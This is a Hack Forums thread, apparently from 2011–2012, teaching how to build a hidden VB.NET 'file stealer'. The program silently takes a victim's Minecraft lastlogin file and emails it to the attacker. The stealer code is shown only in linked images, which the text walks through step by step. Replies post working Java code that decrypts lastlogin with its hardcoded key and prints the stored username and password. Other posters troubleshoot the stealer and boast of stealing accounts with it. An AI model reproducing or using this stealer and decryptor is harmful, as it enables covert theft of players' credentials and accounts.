

Forum:[Hack Forums](#)

Thread: [\[TUT\] Minecraft Stealer / File Stealer \[TUT\]](#)

(?°?°)?(???? - December 11, 2011, 2:07 pm

Hello, and welcome to my first Visual Basic tutorial! I will be showing you how to make a File Stealer! The example that I will be showing you is a Minecraft lastlogin stealer!

Source:

[img]http://snpr.cm/Ro5XTw.jpg[/img]

Explanation of everything:

[img]http://screensnapr.com/e/wsO2s4.png[/img]

This line makes the form invisible.

[img]http://www.dylang.net/images/agohzq.png[/img]

This hides the icon.

[img]http://www.dylang.net/images/l44lu7.png[/img]

To prevent errors, this checks to make sure the file exists first.

[img]http://www.dylang.net/images/2mf2vv.png[/img]

This sets up the email and the SMTP client first.

[img]http://www.dylang.net/images/d6mc34.png[/img]

This sets who the email is from.

[img]http://www.dylang.net/images/y4gibx.png[/img]

This sets who the email is to.

[img]http://www.dylang.net/images/4zehf3.png[/img]

This sets the subject of the email.

[img]http://www.dylang.net/images/3v6vaj.png[/img]

This creates a new attachment with the specified file.

[img]http://www.dylang.net/images/mbIs4a.png[/img]

This adds the attachment to the email message.

[img]http://www.dylang.net/images/p7w2nb.png[/img]

This is required for GMail.

[img]http://www.dylang.net/images/i2hwr1.png[/img]

This sets the login username and password to authenticate the email.

I hope you enjoyed this. It took me a while to get the images ready. Please comment :). Thank you.

P.S, I need to add 4 more images but HF limits the post to 15 images! So when someone responds, I can finish it. Thanks :)

[img]http://www.dylang.net/images/bpebed.png[/img]

This is required for GMail.

[img]http://www.dylang.net/images/agohzq.png[/img]

This sends the email with the attachment, then exists the program because the job is done.

Result:

[img]http://www.dylang.net/images/cvvjoh.png[/img]

blackperuvian - December 11, 2011, 2:11 pm

Cool I hate leechers but can you send me all source I donpt have too much time to copy

(?°?°)?(???? - December 11, 2011, 2:12 pm

(Dec 11, 2011 03:11 PM)blackperuvian Wrote: [\[CITE\]](#) Cool I hate leechers but can you send me all source I donpt have too much time to copy

Not trying to be a jerk, but if you code it yourself, it helps you understand it more ;)

AirCode - December 11, 2011, 2:18 pm

Very nice tutorial, HQ and the image method is sort of good enough to prevent leechers :)

(Dec 11, 2011 03:11 PM)blackperuvian Wrote: [\[CITE\]](#) Cool I hate leechers but can you send me all source I donpt have too much time to copy

I'm sorry, but you have displayed the typical logic of a leecher.

blackperuvian - December 11, 2011, 2:20 pm

you know that lastlogin is encrypted=?=

(?°?°)?(???? - December 11, 2011, 2:20 pm

(Dec 11, 2011 03:18 PM)AirCode Wrote: [\[CITE\]](#) Very nice tutorial, HQ and the image method is sort of good enough to prevent leechers :)

I'm sorry, but you have displayed the typical logic of a leecher.

Thanks a bunch for the kind words :). Pictures + leechers = sadfaic (Dec 11, 2011 03:20 PM)

blackperuvian Wrote: [\[CITE\]](#) you know that lastlogin is encrypted=?=

You know that there are decrypters for the lastlogin right?

moveax - December 11, 2011, 2:20 pm

One question, what encryption does minecraft use? I don't think we'll be able to decrypt it via VB rather use the language it was created it uses a cipher

(?°?°)?(???? - December 11, 2011, 2:22 pm

(Dec 11, 2011 03:20 PM)moveax Wrote: [\[CITE\]](#) One question, what encryption does minecraft use? It's called "PBEWithMD5AndDES" and there are decrypters for it. Leets/UB3Rs PM me for a source to decrypt it with.

blackperuvian - December 11, 2011, 2:24 pm

Smelll....uhmm I hope will be easy to decrypt it

<http://cs.saddleback.edu/rwatkins/CS4B/Crypto/FileEncryptor.html> It is very very hard des + md5 + salt = 99 years..

moveax - December 11, 2011, 2:24 pm

(Dec 11, 2011 03:22 PM)Armadylan Wrote: [\[CITE\]](#) It's called "PBEWithMD5AndDES" and there are decrypters for it. Leets/UB3Rs PM me for a source to decrypt it with.

so its only java k ?

```
Code import java.io.*;
import javax.crypto.*;
import java.util.*;
import javax.crypto.spec.*;
```

```
public class test
{
```

```
    public static void main(String[] args)
    {
        new test();
    }
```

```
    public String user = "";
    public String pass = "";
```

```
    public test()
    {
        readUsername();
        System.out.println(user+" "+pass);
    }
```

```
        private void readUsername() {
            try {
                //File lastLogin = new File(Util.getWorkingDirectory(), "lastlogin");
                File lastLogin = new File("./lastlogin");
                Cipher cipher = getCipher(2, "passwordfile");
                DataInputStream dis;
                if (cipher != null)
                    dis = new DataInputStream(new CipherInputStream(new FileInputStream(lastLogin), cipher));
                else {
                    dis = new DataInputStream(new FileInputStream(lastLogin));
                }
                user = dis.readUTF();
                pass = dis.readUTF();
                dis.close();
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
```

```
        private Cipher getCipher(int mode, String password) throws Exception {
            Random random = new Random(43287234L);
            byte[] salt = new byte[8];
            random.nextBytes(salt);
            PBEPParameterSpec pbeParamSpec = new PBEPParameterSpec(salt, 5);
```

```
            SecretKey pbeKey =
            SecretKeyFactory.getInstance("PBEWithMD5AndDES").generateSecret(new
            PBEKeySpec(password.toCharArray()));
            Cipher cipher = Cipher.getInstance("PBEWithMD5AndDES");
            cipher.init(mode, pbeKey, pbeParamSpec);
```

```

    return cipher;
}

}

```

VPN - December 11, 2011, 2:25 pm

Thank you for the tutorial.
It's really going to help me.

(???)?(???? - December 11, 2011, 2:26 pm

```

Code    public static void main(String[] args) {
        try {
            Random random = new Random(43287234L);
            byte[] salt = new byte[8];
            random.nextBytes(salt);
            PBEPParameterSpec pbeParamSpec = new PBEPParameterSpec(salt, 5);
            SecretKey pbeKey =
SecretKeyFactory.getInstance("PBEWithMD5AndDES").generateSecret(new
PBEKeySpec("passwordfile".toCharArray()));
            Cipher cipher = Cipher.getInstance("PBEWithMD5AndDES");
            cipher.init(2, pbeKey, pbeParamSpec);
            File passFile = new File("C:\\Users\\xx\\Downloads\\", "lastlogin");
            DataInputStream dis = null;
            dis = new DataInputStream(new CipherInputStream(new FileInputStream(passFile),
cipher));
            System.out.println("Username: " + dis.readUTF());
            System.out.println("Password: " + dis.readUTF());
            dis.close();
        } catch (Exception ex) {
            ex.printStackTrace();
        }
    }
}

```

The one above this post makes my eyes bleed.

moveax - December 11, 2011, 2:26 pm

```

(Dec 11, 2011 03:26 PM)Armadylan Wrote: CITE Code    public static void main(String[] args) {
        try {
            Random random = new Random(43287234L);
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            System.out.println("Username: " + dis.readUTF());
            System.out.println("Password: " + dis.readUTF());
            dis.close();

```

```
} catch (Exception ex) {  
    ex.printStackTrace();  
}  
}
```

The one above this post makes my eyes bleed. I googled it ? I'm glad i forced you to release it.

(???)?(???? - December 11, 2011, 2:27 pm

(Dec 11, 2011 03:26 PM)moveax Wrote: [\[CITE\]](#) I googled it ? I'm glad i forced you to release it. I was going to release it anyways. And you didn't "force" me to do anything.

blackperuvian - December 11, 2011, 2:27 pm

You can execute java + vb.net and decrypt it then send it to mail ..
i will try :D

<http://genetichax.com/hacking-coding-programming/7769-how-decrypt-minecraft-lastlogin-files-java.html>

(???)?(???? - December 11, 2011, 2:28 pm

(Dec 11, 2011 03:27 PM)blackperuvian Wrote: [\[CITE\]](#) You can execute java + vb.net and decrypt it then send it to mail ..
i will try :D

<http://genetichax.com/hacking-coding-programming/7769-how-decrypt-minecraft-lastlogin-files-java.html>

Or you can use the code above me and learn about some stuff.

(???)?(???? - December 11, 2011, 2:35 pm

(Dec 11, 2011 03:33 PM)moveax Wrote: [\[CITE\]](#) idiot. ???????
Stop with the LQ posts on my thread. You never "FORCED" me to do anything. Just calm down, you seem to be all hotheaded.

versx - December 11, 2011, 8:45 pm

(Dec 11, 2011 03:11 PM)blackperuvian Wrote: [\[CITE\]](#) Cool I hate leechers but can you send me all source I don't have too much time to copy Oh the irony. ?

OP: Thanks for the decryption method, time to convert some Java now. :)

moveax - December 11, 2011, 8:56 pm

(Dec 11, 2011 09:45 PM)versx Wrote: [\[CITE\]](#) Oh the irony. ?

OP: Thanks for the decryption method, time to convert some Java now. :)
Can you convert a cipher in java to VB?

(???)?(???? - December 12, 2011, 4:19 pm

Thanks for the feedback. Glad you like it. If you send me a lastlogin through pm I will decrypt it. (No, I won't use it...)

Sage Mode - December 12, 2011, 7:34 pm

Damn, this is really a great share. You were even nice enough to take snippets of the codes and provide images xD.
Real useful, thanks.

(?°?)?(???? - December 12, 2011, 7:35 pm

(Dec 12, 2011 08:34 PM)Sage Mode Wrote: [\[CITE\]](#) Damn, this is really a great share. You were even nice enough to take snippets of the codes and provide images xD.

Real useful, thanks.

Thanks! Pictures means high quality, and HQ is great for tutorials.

The MammoTh - December 13, 2011, 12:19 am

This is not hard at all but, I am sure that some people may like it and learn from it.

SH3NZ1 - December 13, 2011, 4:12 am

Does'nt work for me....

[img]http://img15.hostingpics.net/pics/376300ozdz.png[/img]

Modestep - December 13, 2011, 5:02 am

Why do you use \\ for the directory? Isn't one \ enough? and the things like opacity and showintaskbar you can set them in designtime. So just change it in the form properties. Its a fun tutorial OP :)

0xDEAD10CC - December 13, 2011, 5:09 am

Opacity = 0 and ShowInTaskbar = False to make the form hide? Are you serious?... Use the Hide() and Show() functions.

And why don't you just Import the System.Net class at the top? Is it necessary to have to write out the full thing everything for each System.Net method and function? Same with System.IO.

Also, in VB.net use "&" instead of "+" for string concatenation...

nathan72389 - December 13, 2011, 5:11 am

(Dec 13, 2011 05:12 AM)SH3NZ1 Wrote: [\[CITE\]](#) Does'nt work for me....

[img]http://img15.hostingpics.net/pics/376300ozdz.png[/img]

use "&" not "+", "+" implies that your adding numbers.

(Dec 13, 2011 06:02 AM)Modestep Wrote: [\[CITE\]](#) Why do you use \\ for the directory? Isn't one \ enough? and the things like opacity and showintaskbar you can set them in designtime. So just change it in the form properties. Its a fun tutorial OP :)

correct ... "\\\" is generallyly for networked drives. it should be the standard "\" for local files and folders.

&&

this is not a good tut.

you might think it is, and it may seem like it, but if your using a form for something that it never going to be shown then your wasting a whole shitload of resources.

size = new size(132, 38) is the smallest that you can get....??

where did you get your info from? because that is completely wrong.

its great and all that you used pictures, but in a few months when those pics get removed this thread will be worth nothing. but really, pics for such a simple section of code? thats just a waste of bandwidth

whatever, at least i was honest with you.

(but for real... STOP using forms for stuff that will never be seen!)

0xDEAD10CC - December 13, 2011, 5:17 am

(Dec 13, 2011 06:11 AM)nathan72389 Wrote: [\[CITE\]](#) use "&" not "+", "+" implies that your adding numbers.

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(but for real... STOP using forms for stuff that will never be seen!)

lol Some of what I just said and a bit extra. I was wondering the same too, because a windows form can go a lot smaller than 132, 38...

SH3NZ1 - December 13, 2011, 8:29 am

Thanks , it work but i have a problem with the mail message , I do not receive mail But still I put this code:

[img]http://img15.hostingpics.net/pics/399458error.png[/img]

Invoke - December 13, 2011, 10:47 am

(Dec 11, 2011 03:11 PM)blackperuvian Wrote: [\[CITE\]](#) Cool I hate leechers but can you send me all source I dont have too much time to copy

LOL? Are that much of a fucking skid that you can't take 5 minutes to type from the screenshot?

/facepalm

(Dec 13, 2011 09:29 AM)SH3NZ1 Wrote: [\[CITE\]](#) Thanks , it work but i have a problem with the mail message , I do not receive mail But still I put this code:

[img]http://img15.hostingpics.net/pics/399458error.png[/img]

Use this

Code Imports System.Net.Mail

SH3NZ1 - December 13, 2011, 11:45 am

Not work either :/

I don't know what the fuck , because i have put valid email (gmail and hotmail) and valid

password....

lakiluki - December 13, 2011, 11:53 am

Love it. I steal my accounts on the same way! It would be really helpful if yoz could code a vb.net lastlogin decrypter. Anyways... nice share, mate. You should add a try function, tho. Keep up the good work. And.. why don't u use Me.hide() ? :D and, one slash on defining the lastlogin location is enough.

0xDEAD10CC - December 13, 2011, 12:04 pm

(Dec 13, 2011 11:47 AM)Invoke Wrote: [\[CITE\]](#) Use this

Code Imports System.Net.Mail

He doesn't need to import it if he's already typing out the full class in his code like he's doing. It won't make a difference, although I have suggested earlier on in this thread that OP should be importing the class for one.

SH3NZ1 - December 13, 2011, 12:31 pm

So, no idea to solve my problem?

Yet I do everything right è_é

lakiluki - December 13, 2011, 12:35 pm

(Dec 13, 2011 01:31 PM)SH3NZ1 Wrote: [\[CITE\]](#) So, no idea to solve my problem?

Yet I do everything right è_é

Use & instead of + . That should fix it.

SH3NZ1 - December 13, 2011, 12:46 pm

I already do that ...

Everything works except sending mail

(?°?)?(???? - December 13, 2011, 1:09 pm

Sorry about the whole + and &, I'm so used to Java/C# that + is natural.

lakiluki - December 13, 2011, 1:16 pm

(Dec 13, 2011 02:09 PM)Armadylan Wrote: [\[CITE\]](#) Sorry about the whole + and &, I'm so used to Java/C# that + is natural.

Oh, well java and C# rule. :D Java/C# FTW

(?°?)?(???? - December 13, 2011, 1:16 pm

(Dec 13, 2011 02:16 PM)lakiluki Wrote: [\[CITE\]](#) Oh, well java and C# rule. :D Java/C# FTW See! You know where I'm coming from ;D.

lakiluki - December 13, 2011, 1:39 pm

(Dec 13, 2011 02:16 PM)Armadylan Wrote: [\[CITE\]](#) See! You know where I'm coming from ;D. Yea, you should stay at C#. It's much more "powerful" :)

Zach - December 13, 2011, 2:44 pm

So should we replace all '+' with '&'?

0xDEAD10CC - December 13, 2011, 2:50 pm

(Dec 13, 2011 03:44 PM)Zach Wrote: [\[CITE\]](#) So should we replace all '+' with '&'?

When concatenating strings in VB.Net yes.

(?°??)(???? - December 13, 2011, 2:51 pm

Yes you should. Im sorry about thatt.

Zach - December 13, 2011, 9:23 pm

Does it still work if we don't or not?

Blizzard - December 13, 2011, 9:50 pm

Looks very good tutorial, buddy.

-Blizzard

Byte Me - December 19, 2011, 9:04 am

Basic stuff but nice. There's always a risk though when using your e-mail and password in a string so I would advise you to make a special e-mail for it.

(?°??)(???? - December 19, 2011, 9:06 am

(Dec 19, 2011 10:04 AM)Byte Me Wrote: [\[CITE\]](#) Basic stuff but nice. There's always a risk though when using your e-mail and password in a string so I would advise you to make a special e-mail for it.

Yeah, I always use a throwaway email when I do stuff like that.

GoLD.?- December 19, 2011, 10:42 am

very nice good job! very good tut btw!

(Dec 19, 2011 10:06 AM)Armadylan Wrote: [\[CITE\]](#) Yeah, I always use a throwaway email when I do stuff like that.

is possible to decrypt that, so is harder to crack?

Trollaux - December 19, 2011, 1:29 pm

Hey cool program I checked it out and when I use it it gives me a error about the file location and somthing about: Converstion from string "\\.\minecraft\\lastlogin" to type 'Double' is not valid.

Vexxy - December 19, 2011, 3:10 pm

Hmmm funny, because when I de-compilied MCRape I found this exact same thing in there, it wasn't being sent anywhere though

(?°??)(???? - December 19, 2011, 3:17 pm

(Dec 19, 2011 04:10 PM)CyberChimp Wrote: [\[CITE\]](#) Hmmm funny, because when I de-compilied MCRape I found this exact same thing in there, it wasn't being sent anywhere though
Ha.. ha.. ha? I dont understand what you're getting at. Are you implying it has a LL stealer?

Vexxy - December 19, 2011, 8:59 pm

(Dec 19, 2011 04:17 PM)Armadylan Wrote: [\[CITE\]](#) Ha.. ha.. ha? I dont understand what you're getting at. Are you implying it has a LL stealer?

Yes that is exactly what I am saying.

(?°??)(???? - December 19, 2011, 9:02 pm

(Dec 19, 2011 09:59 PM)CyberChimp Wrote: [\[CITE\]](#) Yes that is exactly what I am saying.
If you PM me the class and.method, I will look at it. I have a clean copy.

Plomp - December 20, 2011, 8:24 am

Hey well,

I did everything stated in the tutorial but I still don't get any mail sent towards my e-mail.. anything I'm doing wrong? I PM'd you the code I used before.

(?°??)?(???? - December 20, 2011, 8:37 am

(Dec 20, 2011 09:24 AM)Plomp Wrote: [\[CITE\]](#) Hey well,

I did everything stated in the tutorial but I still don't get any mail sent towards my e-mail.. anything I'm doing wrong? I PM'd you the code I used before.

Can you please resend it to me but in quote tags? I am on my phone

Coley - December 20, 2011, 10:52 am

Thank's bro... I'm going to make it send the .jar too so I can leak clients.... Awesome post! I might make mine in C# tho

xCraftx - December 23, 2011, 5:51 pm

thanks for the tut but don't work :/

(?°??)?(???? - December 23, 2011, 6:49 pm

How does it not work? Please explain.

.WhiteLight - December 24, 2011, 1:22 am

I've tried this in many variations of what I have read in this thread and it still does not send any emails. Got it to work, narrowed it down to a problem in the IF statement at the start.

Siggi - April 29, 2012, 10:38 am

Please help me to decrypt the lastlogin file.

I don't get it.

Thanks

BlackBurn - May 20, 2012, 10:24 am

Nice HQ tut mate :0 If i could + rep :D

Systematic - May 20, 2012, 1:25 pm

Anyone know if this still works? Or did the encryption change?

<https://hackforums.net/showthread.php?tid=1655798>

(?°??)?(???? - May 20, 2012, 2:09 pm

(May 20, 2012 01:25 PM)SilentKiller96 Wrote: [\[CITE\]](#) Anyone know if this still works? Or did the encryption change?

<https://hackforums.net/showthread.php?tid=1655798>

Works fine last time I check, I don't think the LL encryption changed.

Systematic - May 20, 2012, 3:11 pm

(May 20, 2012 02:09 PM)(?°??)?(???? Wrote: [\[CITE\]](#) Works fine last time I check, I don't think the LL encryption changed.

Ok thanks!

[color=#33]Ignore these extra chars...[/color]

Malik Robinson - June 1, 2012, 6:48 pm

Thank you for the share on the tut i appreciate it bro

gixslayer - June 2, 2012, 1:52 am

(May 20, 2012 01:25 PM) SilentKiller96 Wrote: [\[CITE\]](#) Anyone know if this still works? Or did the encryption change?

<https://hackforums.net/showthread.php?tid=1655798>

Even if the encryption changed, just decompile the Minecraft binary to get the up to date code that is used to decrypt/read it. Shouldn't be too hard to convert it to .Net.